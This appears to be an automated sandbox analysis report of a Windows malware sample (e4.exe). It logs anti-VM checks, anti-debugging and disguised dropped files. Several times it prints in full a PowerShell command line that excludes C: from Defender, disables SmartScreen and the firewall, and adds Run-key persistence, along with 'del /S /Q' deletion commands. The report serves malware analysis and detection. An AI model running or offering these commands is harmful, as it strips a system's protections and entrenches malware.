Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe TID: 820	Thread sleep time: -3600000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5280	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\ProgramData\MicrosoftNetwork\System.exe TID: 5712	Thread sleep time: -32000s >= -30000s
Source: C:\ProgramData\MicrosoftNetwork\System.exe TID: 4960	Thread sleep time: -7200000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6460	Thread sleep count: 8610 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6720	Thread sleep time: -1844674407370954s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\e4.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Thread delayed: delay time: 3600000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\e4.exe	Window / User API: threadDelayed 9242	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9526	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8610

Source: C:\Users\user\Desktop\e4.exe

Registry key enumerated: More than 149 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\ProgramData\MicrosoftNetwork\System.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\e4.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\e4.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Thread delayed: delay time: 3600000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\

Source: e4.exe, 00000000.00000002.555450513.0000000005195000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: IVHSHTCODIPNTGBCHMNVKPUAILXVVKFKXVQUNCFXTBCMTEBSWXPFTMDSDGZKIAUVKOEHSXZJBPMNMGEXTJPAOEMDPTHXRQCVOULRHOXNLLEVOYSUUHJKHUBLKPVUBOWNNNYIVERGXUJXWHARSIBRHIALJWVNJGCJFSWTYNFAKHFKMWIXKIPPQTBKLVLJABTXJJAUPFFIWTLSIBHYUFUKBTZFKZOHSTUPFMPQIOKLVDQRVIJQOGXFVCXVTHXYBRKEFKTAYEVEEJSDTODNKYUKIFEJTGSCOFEGJFXUFFTUDUGNPSDSFNCYGRUOKLHTZSRYLVFROHKDEBPBTMLYGSXGAHMMJCCAHNNTHTJYHYJSYCEYHNZYLYPZZRKQCBEKCIJOMVDKLIMUKHNBXCTWEOWAPIZLIROXKDWVWPAJXRXLLBZPLBODFKBOAAIGTICFSLICMIRMFQVAOXHGTZBMVNEYHPFMVMCIZMYUKDQAJPPKRYFMFYBBZZUDRZUAXHAETNILYTWGZWXKMVYVQPTHACYZNPNUTFPXHLZGFMCFPKGKXZBEMNDEMMSUCIJVEEZVVTNLALWSOOIQWNDNBYFXIMXSYSGIHDKBLTQNHGZBSABJNNCDWHLHGGLULQOHIPDWXBOSOZDGSJICPXZOMIEHQNITIKIXBHUHPYBVDEESQCONQTQTGDIDHFZLNHGHGBNMCJMHPFYAEFORSGPQVZXVNVTODPAYYBGVVJXOQSOXDEYRXFEQHHZXPIKKKAYEDXYKYANMXDXCYRRYSRYIHJTRQILRXNGCFCDERRCTAPDWXXOUTNWBDGRIXGZFWOPASEDDSDMQOIHQDMFZFHVAKVPOTYYQXENYUVBZWKYSVATRNDKTBQJKCBIUQOGVVRSKQRXEZOQAFWIQOTGVRLVGJCXQRXZRDCAHGTXVJAEUKUYANEGPRLWIUCPMSVVQZZMIBQKJKZRROZREPQAHYLRVAFUIGNUGSAQAMAZEHHGHFNSBQQBZOSFYEVJOWSCRJNDOYFYNDGPN
Source: e4.exe, 00000000.00000002.586706024.0000000006E14000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: System.exe, 00000014.00000002.694042345.000001F1F7C9B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0q
Source: e4.exe, 00000000.00000002.585717609.0000000006DA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}ll
Source: e4.exe, 00000000.00000002.593713833.0000000008DE3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{e6e9dfd8-98f2-11e9-90ce-806e6f6e6963}\DosDevices\D:
Source: e4.exe, 00000000.00000002.586706024.0000000006E14000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwareDUSNVLKCWin32_VideoController8LRK442PVideoController120060621000000.000000-0000375.468display.infMSBDAA2LSAGFBPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colorsC5XAP6DT
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: HSHTCODIPNTGBCHMNVKPUAILXVVKFKXVQUNCFXTBCMTEBSWXPFTMDSDGZKIAUVKOEHSXZJBPMNMGEXTJPAOEMDPTHXRQCVOULRHOXNLLEVOYSUUHJKHUBLKPVUBOWNNNYIVERGXUJXWHARSIBRHIALJWVNJGCJFSWTYNFAKHFKMWIXKIPPQTBKLVLJABTXJJAUPFFIWTLSIBHYUFUKBTZFKZOHSTUPFMPQIOKLVDQRVIJQOGXFVCXVTHXYBRKEFKTAYEVEEJSDTODNKYUKIFEJTGSCOFEGJFXUFFTUDUGNPSDSFNCYGRUOKLHTZSRYLVFROHKDEBPBTMLYGSXGAHMMJCCAHNNTHTJYHYJSYCEYHNZYLYPZZRKQCBEKCIJOMVDKLIMUKHNBXCTWEOWAPIZLIROXKDWVWPAJXRXLLBZPLBODFKBOAAIGTICFSLICMIRMFQVAOXHGTZBMVNEYHPFMVMCIZMYUKDQAJPPKRYFMFYBBZZUDRZUAXHAETNILYTWGZWXKMVYVQPTHACYZNPNUTFPXHLZGFMCFPKGKXZBEMNDEMMSUCIJVEEZVVTNLALWSOOIQWNDNBYFXIMXSYSGIHDKBLTQNHGZBSABJNNCDWHLHGGLULQOHIPDWXBOSOZDGSJICPXZOMIEHQNITIKIXBHUHPYBVDEESQCONQTQTGDIDHFZLNHGHGBNMCJMHPFYAEFORSGPQVZXVNVTODPAYYBGVVJXOQSOXDEYRXFEQHHZXPIKKKAYEDXYKYANMXDXCYRRYSRYIHJTRQILRXNGCFCDERRCTAPDWXXOUTNWBDGRIXGZFWOPASEDDSDMQOIHQDMFZFHVAKVPOTYYQXENYUVBZWKYSVATRNDKTBQJKCBIUQOGVVRSKQRXEZOQAFWIQOTGVRLVGJCXQRXZRDCAHGTXVJAEUKUYANEGPRLWIUCPMSVVQZZMIBQKJKZRROZREPQAHYLRVAFUIGNUGSAQAMAZEHHGHFNSBQQBZOSFYEVJOWSCRJNDOYFYNDGPN
Source: TextOutputHost.exe, 0000000C.00000000.594626278.000002570248D000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000000.593410236.000002570241F000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.539314298.000002570248D000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.539391718.000002570241E000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000002.699565857.000001F1F7D72000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: System.exe, 00000014.00000002.694042345.000001F1F7C9B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWg
Source: TextOutputHost.exe, 0000000C.00000000.593410236.000002570241F000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.539391718.000002570241E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-USn
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: HMNVKPUAILXVVKFKXVQUNCFXTBCMTEBSWXPFTMDSDGZKIAUVKOEHSXZJBPMNMGEXTJPAOEMDPTHXRQCVOULRHOXNLLEVOYSUUHJKHUBLKPVUBOWNNNYIVERGXUJXWHARSIBRHIALJWVNJGCJFSWTYNFAKHFKMWIXKIPPQTBKLVLJABTXJJAUPFFIWTLSIBHYUFUKBTZFKZOHSTUPFMPQIOKLVDQRVIJQOGXFVCXVTHXYBRKEFKTAYEVEEJSDTODNKYUKIFEJTGSCOFEGJFXUFFTUDUGNPSDSFNCYGRUOKLHTZSRYLVFROHKDEBPBTMLYGSXGAHMMJCCAHNNTHTJYHYJSYCEYHNZYLYPZZRKQCBEKCIJOMVDKLIMUKHNBXCTWEOWAPIZLIROXKDWVWPAJXRXLLBZPLBODFKBOAAIGTICFSLICMIRMFQVAOXHGTZBMVNEYHPFMVMCIZMYUKDQAJPPKRYFMFYBBZZUDRZUAXHAETNILYTWGZWXKMVYVQPTHACYZNPNUTFPXHLZGFMCFPKGKXZBEMNDEMMSUCIJVEEZVVTNLALWSOOIQWNDNBYFXIMXSYSGIHDKBLTQNHGZBSABJNNCDWHLHGGLULQOHIPDWXBOSOZDGSJICPXZOMIEHQNITIKIXBHUHPYBVDEESQCONQTQTGDIDHFZLNHGHGBNMCJMHPFYAEFORSGPQVZXVNVTODPAYYBGVVJXOQSOXDEYRXFEQHHZXPIKKKAYEDXYKYANMXDXCYRRYSRYIHJTRQILRXNGCFCDERRCTAPDWXXOUTNWBDGRIXGZFWOPASEDDSDMQOIHQDMFZFHVAKVPOTYYQXENYUVBZWKYSVATRNDKTBQJKCBIUQOGVVRSKQRXEZOQAFWIQOTGVRLVGJCXQRXZRDCAHGTXVJAEUKUYANEGPRLWIUCPMSVVQZZMIBQKJKZRROZREPQAHYLRVAFUIGNUGSAQAMAZEHHGHFNSBQQBZOSFYEVJOWSCRJNDOYFYNDGPN
Source: e4.exe, 00000000.00000003.420110388.0000000001A70000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlmp.exeST\VBOX__
Source: e4.exe, 00000000.00000003.420201544.0000000001A70000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnmp.exeSDT\VBOX__
Source: e4.exe, 00000000.00000003.496316626.0000000001D6E000.00000004.00000020.00020000.00000000.sdmp, e4.exe, 00000000.00000002.537566275.0000000001D76000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\e4.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\e4.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\ProgramData\MicrosoftNetwork\System.exe	Open window title or class name: regmonclass
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Open window title or class name: procmon_window_class
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Open window title or class name: filemonclass
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Hides threads from debuggers

Source: C:\Users\user\Desktop\e4.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Thread information set: HideFromDebugger

Source: C:\Users\user\Desktop\e4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process queried: DebugPort	Jump to behavior
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process queried: DebugPort
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process queried: DebugObjectHandle
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\e4.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\ProgramData\UpSys.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\e4.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData \| Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData \| Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData \| Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)	Jump to behavior
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData \| Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)

Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData \| Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData \| Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData \| Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)	Jump to behavior
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData \| Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)

Source: C:\Users\user\Desktop\e4.exe	Process created: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe "C:\Users\user\AppData\Local\Temp\TextOutputHost.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData \| Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\ProgramData\UpSys.exe "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\netsh.exe "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData \| Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
